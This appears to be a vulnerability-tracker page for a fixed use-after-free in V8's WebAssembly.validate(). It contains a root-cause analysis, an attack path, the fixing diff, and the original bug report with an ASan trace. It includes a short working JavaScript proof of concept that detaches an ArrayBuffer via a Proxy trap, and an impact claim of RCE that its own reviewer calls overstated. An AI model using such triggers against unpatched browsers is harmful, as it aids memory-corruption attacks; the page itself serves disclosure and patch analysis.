Overview

Low
Severity
3.1
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in V8
DescriptionUse after free in V8
ComponentV8
Sub-componentWASM
Bug ClassUAF
Action tierwatch — information disclosure — security-relevant, below the RCE-class bar — revised by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed (tier revised from patch-now)
Reviewer notes: Mechanism correct, but this is a read-only UAF during validate() which returns only a bool; advisory low/CVSS3.1. Claim's 'corruption'/RCE primitive and patch-now tier overstated: no write shown.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker439772737
Fix commit4293cb47afcb (v8/v8) +27/-40
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
CISA KEVNot listed
CreditedGoogle Big Sleep
Reported2025-08-19 (per vendor advisory)
Fix landed2025-08-20 (public git)
Disclosed2025-09-30
Patch gap41 days — fix public in source before the advisory

Background

`WebAssembly.validate()`
A JS API that checks whether a buffer of WebAssembly wire bytes forms a valid module, optionally taking a compile-time options argument.
Wire bytes
The raw uint8_t byte sequence of a Wasm module, held in the backing store of the ArrayBuffer or TypedArray passed as the first argument.
`ArrayBuffer` detach
Operations such as ArrayBuffer.prototype.transfer() release a buffer’s backing store, freeing the memory that pointers into it referenced.
`base::OwnedVector`
A V8 container that owns its own heap allocation, as opposed to base::Vector, which is a non-owning view over memory it does not control.

Root Cause Analysis

The WebAssemblyValidateImpl callback in src/wasm/wasm-js.cc obtained the wire bytes via GetFirstArgumentAsBytes, which returned a non-owning base::Vector<const uint8_t> pointing directly at the argument’s ArrayBuffer backing store (start/length). It then evaluated the compile-time options parameter through ArgumentToCompileOptions, and only for shared buffers did it copy the bytes; for non-shared buffers it passed the raw base::Vector straight into SyncValidate. The violated invariant is that the wire-bytes pointer must remain valid until validation completes, but evaluating the options parameter can run arbitrary JavaScript (e.g. a Proxy get trap) that calls buffer.transfer() and detaches the ArrayBuffer, freeing the backing store while the stale pointer is still used.

The fix replaces the non-copy path with GetAndCopyFirstArgumentAsBytes, which immediately copies the bytes into a base::OwnedVector before any options evaluation, so validation always reads from independently owned memory that a detach cannot free.

Key insight
The single mistake was reading Wasm wire bytes through a non-owning view of an ArrayBuffer whose lifetime could be ended by attacker-controlled JavaScript run while evaluating the options argument; the fix always copies the bytes into an owning base::OwnedVector up front, so no later detach can invalidate them.

Attack Path

  1. Prepare wire bytes The attacker creates an ArrayBuffer (e.g. new ArrayBuffer(100)) whose backing store will be handed to the validator as the first argument.
  2. Craft a malicious options object The attacker passes a Proxy as the second argument whose get trap fires when V8 reads a property such as builtins during ArgumentToCompileOptions.
  3. Detach during option evaluation Inside the trap the attacker calls buffer.transfer() and gc(), detaching the ArrayBuffer and freeing the backing store while WebAssemblyValidateImpl still holds the raw start pointer.
  4. Use the freed bytes SyncValidate reads the wire bytes through the now-dangling base::Vector, dereferencing freed memory and triggering the use-after-free.

Impact Assessment

An attacker running untrusted JavaScript in the V8/renderer process can trigger a use-after-free read of freed heap memory, corrupting or leaking data and potentially enabling further exploitation toward remote code execution in the renderer sandbox. The only precondition is the ability to call WebAssembly.validate() with a controllable second argument (a Proxy or getter) that detaches the first argument’s ArrayBuffer, which is reachable from ordinary web content.

Changed Functions

FunctionChangeNotes
if
src/wasm/wasm-js.cc
modified
get
test/mjsunit/regress/wasm/regress-439772737.js
modified
if
test/mjsunit/regress/wasm/regress-439772737.js
modified

Files Changed

  • src/wasm/wasm-js.cc
  • test/mjsunit/regress/wasm/regress-439772737.js

Audit Directions

  • Non-owning views across user callbacks
    Audit any API that holds a base::Vector or raw pointer into an ArrayBuffer/TypedArray backing store and then evaluates another argument that can run JavaScript (proxies, getters, valueOf), since that JS can detach or resize the buffer.
  • Conditional copy paths
    Flag places that copy wire bytes only when a buffer IsSharedArrayBuffer while using non-shared buffers directly, as detach/resize hazards apply to non-shared buffers too.
  • Wasm entry points taking options
    Review other WebAssembly.* entry points in src/wasm/wasm-js.cc (compile, instantiate) that combine a buffer-source argument with a compile-options argument for the same detach-during-evaluation ordering bug.
From 4293cb47afcbb1575f51e1cbd63c7cf8f21f85ff Mon Sep 17 00:00:00 2001
From: Jakob Kummerow <jkummerow@chromium.org>
Date: Wed, 20 Aug 2025 17:02:30 +0200
Subject: [PATCH] [wasm] WA.validate(): always copy the wire bytes

This avoids a UAF when evaluating the compile-time options
parameter detaches the ArrayBuffer holding the wire bytes.
It's also a nice simplification of the code.

Fixed: 439772737
Change-Id: Iba87c5dab02d2c67af59fae17cf5865cebf9d20c
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6865998
Commit-Queue: Matthias Liedtke <mliedtke@chromium.org>
Reviewed-by: Matthias Liedtke <mliedtke@chromium.org>
Auto-Submit: Jakob Kummerow <jkummerow@chromium.org>
Cr-Commit-Position: refs/heads/main@{#101957}
---

diff --git a/src/wasm/wasm-js.cc b/src/wasm/wasm-js.cc
index 00dd697..9959516 100644
--- a/src/wasm/wasm-js.cc
+++ b/src/wasm/wasm-js.cc
@@ -195,9 +195,9 @@
 
 #undef GET_FIRST_ARGUMENT_AS
 
-base::Vector<const uint8_t> GetFirstArgumentAsBytes(
+base::OwnedVector<const uint8_t> GetAndCopyFirstArgumentAsBytes(
     const v8::FunctionCallbackInfo<v8::Value>& info, size_t max_length,
-    ErrorThrower* thrower, bool* is_shared) {
+    ErrorThrower* thrower) {
   const uint8_t* start = nullptr;
   size_t length = 0;
   v8::Local<v8::Value> source = info[0];
@@ -208,7 +208,6 @@
 
     start = reinterpret_cast<const uint8_t*>(backing_store->Data());
     length = backing_store->ByteLength();
-    *is_shared = buffer->IsSharedArrayBuffer();
   } else if (source->IsTypedArray()) {
     // A TypedArray was passed.
     Local<TypedArray> array = Local<TypedArray>::Cast(source);
@@ -219,7 +218,6 @@
     start = reinterpret_cast<const uint8_t*>(backing_store->Data()) +
             array->ByteOffset();
     length = array->ByteLength();
-    *is_shared = buffer->IsSharedArrayBuffer();
   } else {
     thrower->TypeError("Argument 0 must be a buffer source");
     return {};
@@ -237,25 +235,11 @@
     return {};
   }
 
-  return base::VectorOf(start, length);
-}
-
-base::OwnedVector<const uint8_t> GetAndCopyFirstArgumentAsBytes(
-    const v8::FunctionCallbackInfo<v8::Value>& info, size_t max_length,
-    ErrorThrower* thrower) {
-  bool is_shared = false;
-  base::Vector<const uint8_t> bytes =
-      GetFirstArgumentAsBytes(info, max_length, thrower, &is_shared);
-  if (bytes.empty()) {
-    return {};
-  }
-
   // Use relaxed reads (and writes, which is unnecessary here) to avoid TSan
   // reports in case the buffer is shared and is being modified concurrently.
-  auto result = base::OwnedVector<uint8_t>::NewForOverwrite(bytes.size());
+  auto result = base::OwnedVector<uint8_t>::NewForOverwrite(length);
   base::Relaxed_Memcpy(reinterpret_cast<base::Atomic8*>(result.begin()),
-                       reinterpret_cast<const base::Atomic8*>(bytes.data()),
-                       bytes.size());
+                       reinterpret_cast<const base::Atomic8*>(start), length);
   return result;
 }
 
@@ -892,9 +876,10 @@
   auto [isolate, i_isolate, thrower] = js_api_scope.isolates_and_thrower();
   v8::ReturnValue<v8::Value> return_value = info.GetReturnValue();
 
-  bool bytes_are_shared = false;
-  base::Vector<const uint8_t> bytes = GetFirstArgumentAsBytes(
-      info, i::wasm::max_module_size(), &thrower, &bytes_are_shared);
+  // Always copy. Even if the buffer isn't shared, {ArgumentToCompileOptions}
+  // could detach it.
+  base::OwnedVector<const uint8_t> bytes = GetAndCopyFirstArgumentAsBytes(
+      info, i::wasm::max_module_size(), &thrower);
   if (bytes.empty()) {
     js_api_scope.AssertException();
     // Propagate anything except wasm exceptions.
@@ -915,23 +900,9 @@
     return;
   }
 
-  bool validated = false;
-  if (bytes_are_shared) {
-    // Make a copy of the wire bytes to avoid concurrent modification.
-    // Use relaxed reads (and writes, which is unnecessary here) to avoid TSan
-    // reports in case the buffer is shared and is being modified concurrently.
-    auto bytes_copy = base::OwnedVector<uint8_t>::NewForOverwrite(bytes.size());
-    base::Relaxed_Memcpy(reinterpret_cast<base::Atomic8*>(bytes_copy.begin()),
-                         reinterpret_cast<const base::Atomic8*>(bytes.data()),
-                         bytes.size());
-    validated = i::wasm::GetWasmEngine()->SyncValidate(
-        i_isolate, enabled_features, std::move(compile_imports),
-        bytes_copy.as_vector());
-  } else {
-    // The wire bytes are not shared, OK to use them directly.
-    validated = i::wasm::GetWasmEngine()->SyncValidate(
-        i_isolate, enabled_features, std::move(compile_imports), bytes);
-  }
+  bool validated = i::wasm::GetWasmEngine()->SyncValidate(
+      i_isolate, enabled_features, std::move(compile_imports),
+      bytes.as_vector());
 
   return_value.Set(validated);
 }
diff --git a/test/mjsunit/regress/wasm/regress-439772737.js b/test/mjsunit/regress/wasm/regress-439772737.js
new file mode 100644
index 0000000..c691bcc
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-439772737.js
@@ -0,0 +1,16 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --expose-gc
+
+const buffer = new ArrayBuffer(100);
+const options = new Proxy({}, {
+  get(target, property, receiver) {
+    if (property === 'builtins') {
+      buffer.transfer();
+      gc();
+    }
+  }
+});
+WebAssembly.validate(buffer, options);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/regress/wasm/regress-439772737.js b/test/mjsunit/regress/wasm/regress-439772737.js
new file mode 100644
index 0000000..c691bcc
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-439772737.js
@@ -0,0 +1,16 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --expose-gc
+
+const buffer = new ArrayBuffer(100);
+const options = new Proxy({}, {
+  get(target, property, receiver) {
+    if (property === 'builtins') {
+      buffer.transfer();
+      gc();
+    }
+  }
+});
+WebAssembly.validate(buffer, options);
Loading diff…

Original Bug Report

reported by bi...@google.com

V8: ArrayBuffer Use-after-Free in WebAssembly.Validate

We are tracking this issue with the public ID BIGSLEEP-439771269. Please use this identifier for reference in any future communication.

Vulnerability Details

There is a use-after-free bug in the implementation of WebAssembly.validate [1]. This function:

  • first obtains the pointer to the ArrayBuffer contents to validate (line 896),
  • then processes the options parameter (line 910),
  • and finally calls into WasmEngine::SyncValidate to perform the actual validation (line 932).

The problem here is that a JavaScript callback can be triggered during the processing of the options argument, which can then detach the input ArrayBuffer. This in combination with a GC will effectively free the ArrayBuffer backing buffer, causing SyncValidate to operate on freed data.

This bug might allow an attacker to disclose memory contents in a limited way by observing the output of the validation. Furthermore, WasmEngine::SyncValidate might not be robust against concurrent modifications of the buffer (in case of a shared ArrayBuffer, the data is explicitly copied to avoid this [2]), which might allow an attacker to cause further memory corruption by re-allocating and modifying the freed ArrayBuffer from another thread.

[1] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-js.cc;l=890;drc=1a8fcda579513e60fd816de6685e3b122bd0804b

[2] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-js.cc;l=920;drc=1a8fcda579513e60fd816de6685e3b122bd0804b

Affected Version(s)

The issue has been successfully reproduced:

  • at HEAD (commit cda27e3cbf57d5eab628ea251d0bb3df15af92e2)
  • in stable release 13.9.205.16 (b07b4e9376489c7f7c0ff2af5eceb4261b3bb784)

Reproduction

Test Case

// Flags: --expose-gc
const buffer = new ArrayBuffer(100);
const options = new Proxy({}, {
    get(target, property, receiver) {
        if (property === 'builtins') {
            buffer.transfer();
            gc();
        }
    }
});
WebAssembly.validate(buffer, options);

Build Instructions

Follow the instructions at https://v8.dev/docs/build. The crash was verified on a debug build with ASAN:

gm.py x64.debug

Command

./out/x64.debug/d8 --expose-gc crash.js

ASan Report

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1198187==ERROR: AddressSanitizer: SEGV on unknown address 0x7a9400000000 (pc 0x7fd4f8e8e330 bp 0x7ffe34c5e240 sp 0x7ffe34c5d9f8 T0)
==1198187==The signal is caused by a READ memory access.
    #0 0x7fd4f8e8e330 in __memcpy_evex_unaligned_erms string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:287
    #1 0x7fd50918247d in unsigned int v8::base::ReadUnalignedValue<unsigned int>(unsigned long) src/base/memory.h:31:3
    #2 0x7fd509182454 in unsigned int v8::base::ReadLittleEndianValue<unsigned int>(unsigned long) src/base/memory.h:54:10
    #3 0x7fd509283970 in unsigned int v8::internal::wasm::Decoder::read_little_endian<unsigned int, v8::internal::wasm::Decoder::NoValidationTag>(unsigned char const*, char const*) src/wasm/decoder.h:470:12
    #4 0x7fd50948cc2e in unsigned int v8::internal::wasm::Decoder::consume_little_endian<unsigned int, (v8::internal::wasm::Decoder::TraceFlag)0>(char const*) src/wasm/decoder.h:481:19
    #5 0x7fd50948ca83 in v8::internal::wasm::Decoder::consume_u32(char const*, v8::internal::wasm::ITracer*) src/wasm/decoder.h:247:12
    #6 0x7fd50947cdca in v8::internal::wasm::ModuleDecoderImpl::DecodeModuleHeader(v8::base::Vector<unsigned char const>) src/wasm/module-decoder-impl.h:338:27
    #7 0x7fd50947c357 in v8::internal::wasm::ModuleDecoderImpl::DecodeModule(bool) src/wasm/module-decoder-impl.h:1955:5
    #8 0x7fd509474259 in v8::internal::wasm::DecodeWasmModule(v8::internal::wasm::WasmEnabledFeatures, v8::base::Vector<unsigned char const>, bool, v8::internal::wasm::ModuleOrigin, v8::internal::wasm::WasmDetectedFeatures*) src/wasm/module-decoder.cc:127:33
    #9 0x7fd509473bd5 in v8::internal::wasm::DecodeWasmModule(v8::internal::wasm::WasmEnabledFeatures, v8::base::Vector<unsigned char const>, bool, v8::internal::wasm::ModuleOrigin, v8::internal::Counters*, std::__Cr::shared_ptr<v8::internal::metrics::Recorder>, v8::metrics::Recorder::ContextId, v8::internal::wasm::DecodingMethod, v8::internal::wasm::WasmDetectedFeatures*) src/wasm/module-decoder.cc:93:7
    #10 0x7fd509656a7c in v8::internal::wasm::WasmEngine::SyncValidate(v8::internal::Isolate*, v8::internal::wasm::WasmEnabledFeatures, v8::internal::wasm::CompileTimeImports, v8::base::Vector<unsigned char const>) src/wasm/wasm-engine.cc:597:17
    #11 0x7fd509700b3a in v8::(anonymous namespace)::WebAssemblyValidateImpl(v8::FunctionCallbackInfo<v8::Value> const&) src/wasm/wasm-js.cc:932:43
    #12 0x7fd509700374 in v8::internal::wasm::WebAssemblyValidate(v8::FunctionCallbackInfo<v8::Value> const&) src/wasm/wasm-js.cc:3258:1
    #13 0x7fd503e9300f in Builtins_CallApiCallbackGeneric setup-isolate-deserialize.cc
    #14 0x7fd503e8f1b5 in Builtins_InterpreterEntryTrampoline setup-isolate-deserialize.cc
    #15 0x7fd503e82ce6 in Builtins_JSEntryTrampoline setup-isolate-deserialize.cc
    #16 0x7fd503e82a2a in Builtins_JSEntry setup-isolate-deserialize.cc
    #17 0x7fd50598f0e6 in v8::internal::GeneratedCode<unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**>::Call(unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**) src/execution/simulator.h:212:12
    #18 0x7fd505987619 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) src/execution/execution.cc:442:22
    #19 0x7fd505988546 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>) src/execution/execution.cc:542:10
    #20 0x7fd504ca2387 in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) src/api/api.cc:1964:7
    #21 0x7fd504ca1bad in v8::Script::Run(v8::Local<v8::Context>) src/api/api.cc:1928:10
    #22 0x564c7c931e35 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::String>, v8::Shell::ReportExceptions, v8::Global<v8::Value>*) src/d8/d8.cc:1035:44
    #23 0x564c7c96865b in v8::SourceGroup::Execute(v8::Isolate*) src/d8/d8.cc:5354:10
    #24 0x564c7c9745f0 in v8::Shell::RunMainIsolate(v8::Isolate*, bool) src/d8/d8.cc:6310:37
    #25 0x564c7c973e8e in v8::Shell::RunMain(v8::Isolate*, bool) src/d8/d8.cc:6218:18
    #26 0x564c7c976ccf in v8::Shell::Main(int, char**) src/d8/d8.cc:7103:18
    #27 0x564c7c977721 in main src/d8/d8.cc:7195:43
    #28 0x7fd4f8d43ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
==1198187==Register values:
rax = 0x00007ffe34c5e254  rbx = 0x0000000000000000  rcx = 0x0000100046983c4a  rdx = 0x0000000000000000  
rdi = 0x00007ffe34c5e254  rsi = 0x00007a9400000000  rbp = 0x00007ffe34c5e240  rsp = 0x00007ffe34c5d9f8  
 r8 = 0x00000fffc698bc4a   r9 = 0x00007ffe34c5e257  r10 = 0x00000fffc698bc4a  r11 = 0x0000100046983c48  
r12 = 0x0000100046983c48  r13 = 0xffffffffffffffc3  r14 = 0x000000000003e000  r15 = 0x00007bd4f6cb1ea0  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:287 in __memcpy_evex_unaligned_erms
==1198187==ABORTING

Reporter Credit

Google Big Sleep

Disclosure Policy

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-11-17. For more information, visit https://goo.gle/bigsleep

View on issue tracker